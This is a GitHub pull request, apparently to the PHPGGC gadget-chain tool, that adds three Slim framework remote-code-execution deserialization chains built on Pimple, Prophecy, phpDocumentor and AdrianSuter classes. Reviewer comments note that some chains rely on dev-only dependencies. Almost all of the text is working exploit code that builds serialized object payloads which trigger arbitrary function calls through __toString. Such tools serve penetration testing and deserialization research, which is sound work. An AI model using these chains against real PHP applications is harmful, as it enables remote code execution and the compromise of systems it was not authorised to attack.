-
Notifications
You must be signed in to change notification settings - Fork 511
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
add some gadget chains that I had collected #160
base: master
Are you sure you want to change the base?
Changes from 1 commit
588f026
1ce1c7f
3630abd
3f0af9a
3ad0f64
08292bb
7f83ff0
34c0bb4
23c42e0
97a8d4c
9454b85
1060e2e
470501a
1699fa4
5cc966a
bae565e
8b7e46d
b2c4f08
f6bfa3a
7d47e3f
e1115ae
45ba17d
d176432
3f1d9de
6e038aa
7429a81
05aecd0
d6df11a
233401e
041f70b
6df9518
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
<?php | ||
|
||
namespace GadgetChain\Slim; | ||
|
||
class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall | ||
{ | ||
public static $version = '3.8.1'; | ||
public static $vector = '__toString'; | ||
public static $author = 'CyanM0un'; | ||
|
||
public function generate(array $parameters) | ||
{ | ||
$function = $parameters['function']; | ||
$parameter = $parameters['parameter']; | ||
|
||
return new \Prophecy\Argument\Token\ExactValueToken($function, $parameter); | ||
} | ||
} |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
<?php | ||
|
||
namespace Pimple | ||
{ | ||
class Container | ||
{ | ||
private $raw; | ||
private $values; | ||
private $keys; | ||
|
||
function __construct($array) | ||
{ | ||
$this->keys = $this->raw = $this->values = $array; | ||
} | ||
} | ||
} | ||
|
||
namespace Slim | ||
{ | ||
class App | ||
{ | ||
private $container; | ||
|
||
function __construct($container) | ||
{ | ||
$this->container = $container; | ||
} | ||
} | ||
|
||
class Container extends \Pimple\Container | ||
{ | ||
|
||
} | ||
} | ||
|
||
namespace Prophecy\Argument\Token | ||
{ | ||
use \Slim\App; | ||
use \Slim\Container; | ||
|
||
class ExactValueToken | ||
{ | ||
private $util; | ||
private $value; | ||
|
||
function __construct($function, $parameter) | ||
{ | ||
$z = new App(new Container(['has' => $function])); | ||
$y = new App($z); | ||
$this->util = new App(new Container(['stringify' => [$y, $parameter]])); | ||
$this->value = $parameter; | ||
} | ||
} | ||
} |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
<?php | ||
|
||
namespace GadgetChain\Slim; | ||
|
||
class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall | ||
{ | ||
public static $version = '3.8.1'; | ||
public static $vector = '__toString'; | ||
public static $author = 'CyanM0un'; | ||
|
||
public function generate(array $parameters) | ||
{ | ||
$function = $parameters['function']; | ||
$parameter = $parameters['parameter']; | ||
|
||
return new \phpDocumentor\Reflection\DocBlock\Tags\Method($function, $parameter); | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Same There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. same as above There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Same, dev dep. |
||
} | ||
} |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
<?php | ||
|
||
namespace Pimple | ||
{ | ||
class Container | ||
{ | ||
private $raw; | ||
private $values; | ||
private $keys; | ||
|
||
function __construct($array) | ||
{ | ||
$this->keys = $this->raw = $this->values = $array; | ||
} | ||
} | ||
} | ||
|
||
namespace Slim | ||
{ | ||
class App | ||
{ | ||
private $container; | ||
|
||
function __construct($container) | ||
{ | ||
$this->container = $container; | ||
} | ||
} | ||
|
||
class Container extends \Pimple\Container | ||
{ | ||
|
||
} | ||
} | ||
|
||
namespace phpDocumentor\Reflection\DocBlock\Tags | ||
{ | ||
use \Slim\App; | ||
use \Slim\Container; | ||
|
||
class Method | ||
{ | ||
private $arguments = []; | ||
protected $description; | ||
|
||
function __construct($function, $parameter) | ||
{ | ||
$z = new App(new Container(['has' => $function])); | ||
$y = new App($z); | ||
$this->description = new App(new Container(['render' => [$y, $parameter]])); | ||
} | ||
} | ||
} |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
<?php | ||
|
||
namespace GadgetChain\Slim; | ||
|
||
class RCE4 extends \PHPGGC\GadgetChain\RCE\FunctionCall | ||
{ | ||
public static $version = '4.11.0'; | ||
public static $vector = '__toString'; | ||
public static $author = 'CyanM0un'; | ||
|
||
public function generate(array $parameters) | ||
{ | ||
$function = $parameters['function']; | ||
$parameter = $parameters['parameter']; | ||
|
||
return new \Prophecy\Argument\Token\ExactValueToken($function, $parameter); | ||
} | ||
} |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
<?php | ||
namespace Prophecy\Argument\Token | ||
{ | ||
class ExactValueToken | ||
{ | ||
private $util; | ||
private $value; | ||
|
||
function __construct($function, $parameter) | ||
{ | ||
$this->util = new \AdrianSuter\Autoload\Override\ClosureHandler($function); | ||
$this->value = $parameter; | ||
} | ||
} | ||
} | ||
|
||
namespace AdrianSuter\Autoload\Override | ||
{ | ||
class ClosureHandler | ||
{ | ||
private $closures; | ||
|
||
function __construct($function) | ||
{ | ||
$this->closures = ["stringify"=>$function]; | ||
} | ||
} | ||
} |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
composer require slim/slim:3.8.1
-> no prophecyThere was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
the same reason for
composer create-project slim/slim=3.8.1 slim
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Same, dev dep.